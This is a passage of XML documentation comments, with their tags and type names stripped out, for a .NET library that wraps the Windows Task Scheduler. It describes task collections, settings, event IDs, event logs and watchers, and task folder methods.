number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing 